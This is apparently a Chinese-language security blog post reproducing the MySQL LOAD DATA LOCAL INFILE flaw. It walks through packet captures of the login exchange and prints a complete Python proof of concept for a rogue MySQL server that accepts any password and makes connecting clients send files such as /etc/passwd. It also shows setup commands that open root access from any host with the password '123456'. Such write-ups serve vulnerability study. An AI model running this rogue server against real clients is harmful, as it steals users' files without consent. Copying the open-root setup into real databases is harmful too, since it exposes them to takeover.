環境搭建
怎么設置Mysql支持外聯?
use mysql;
grant all privileges on *.* to
root@'%' identified by '密碼'; //授權語句
flush privileges; //刷新配置
MAC上設置Mysql環境允許外聯
use mysql;
ALTER USER 'root'@'%' IDENTIFIED WITH mysql_native_password BY '123456'; //這一步是因為有的Mysql客戶端是沒有mysql_native_password這個模塊的防止連接不上
update user set host = "%" where user = "root";
flush privileges;
這個只是暫時作為備忘,權當一個知識點,哈哈
漏洞復現
- LOAD DATA INFILE
load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
第一種是讀取服務器上的文件內容存入表中,第二個是讀取客戶端中的文件內容存入表中(顯然我們應該利用的是第二種)
- 漏洞分析
使用tcpdump將3306的包內容保存成為cap格式用wireshark打開分析登錄過程
tcpdump -i lo1 port 3306 -w test.cap. // 這里面要監聽本地網卡,一定是本地的,不然抓取的tcp包是空的
mysql -u root -p
服務端向客戶端發送greeting包和服務器的一些banner信息

以及一些設置

顯然LOAD DATA LOCAL被設置了

客戶端發送登錄請求,包含用戶名與LOAD DATA LOCAL有關信息

接着發送了一系列的查詢請求

接着客戶端發送一個查詢包后,我們返回的是一個Response TABULAR包

內容是要讀取文件的絕對路徑

之后再下一個客戶端的包中,我們真的可以得到內容

思路整理
由分析可知,客戶端在連接Mysql服務端的時候,若是在發送查詢包后(Mysql連接都時候就會有初始化查詢,換句話說只要連接到我們,我們就可以發送Paylaod),我們返回客戶端文件的絕對路徑,客戶端就會把文件內容發送過來(只要我們發送的包是標准的Mysql協議,這些在Mysql的官方文件都是有的).
我本地MAC的Mysql就不行(版本是8.0.17,因為不會發送查詢語句)
用了windows的Phpstudy試了一下,還是可以的

POC分析(偽造Mysql服務端)
#!/usr/bin/python
#coding: utf8
import socket
# linux :
#filestring = "/etc/passwd"
# windows:
#filestring = "C:\Windows\system32\drivers\etc\hosts"
HOST = "0.0.0.0" # open for eeeeveryone! ^_^
PORT = 3306
BUFFER_SIZE = 1024
#1 Greeting
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
#2 Accept all authentications
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
#3 Payload
#數據包長度
payloadlen = "\x0c"
padding = "\x00\x00"
payload = payloadlen + padding + "\x01\xfb\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
# Don't leave the connection open.
conn.close()
- 第一步
客戶端發送請求數據包
服務端發送Mysql的Greet與banner信息
看一看關於腳本是怎么構造的
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"

可以看見服務器這邊是直接寫死的東西(偽造的是Ubuntu主機).
另外這個greeting的包是有一定格式的,這里面直接粘貼的是大佬們的格式
- 第二步
客戶端發送認證請求(用戶名與密碼)
這里面我們當然要保證無論輸入什么密碼都是可以的
這個是腳本中的認證成功后發送的包
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
- 之后就等待用戶發送query包,我們返回請求客戶端文件的paylaod語句
值得一提這個包是有一定格式的
我們在wireshark中可以看到

至於為什么是12個字節(/etc/passwd是11個字節),猜測是后面有\x00的存在
- 第四步獲取到信息
沒啥好說的直接輸出就行了
利用的exp
https://github.com/Gifts/Rogue-MySql-Server
原本是想自己寫的,但是emmmm,不說了,寫了好久還沒有寫出來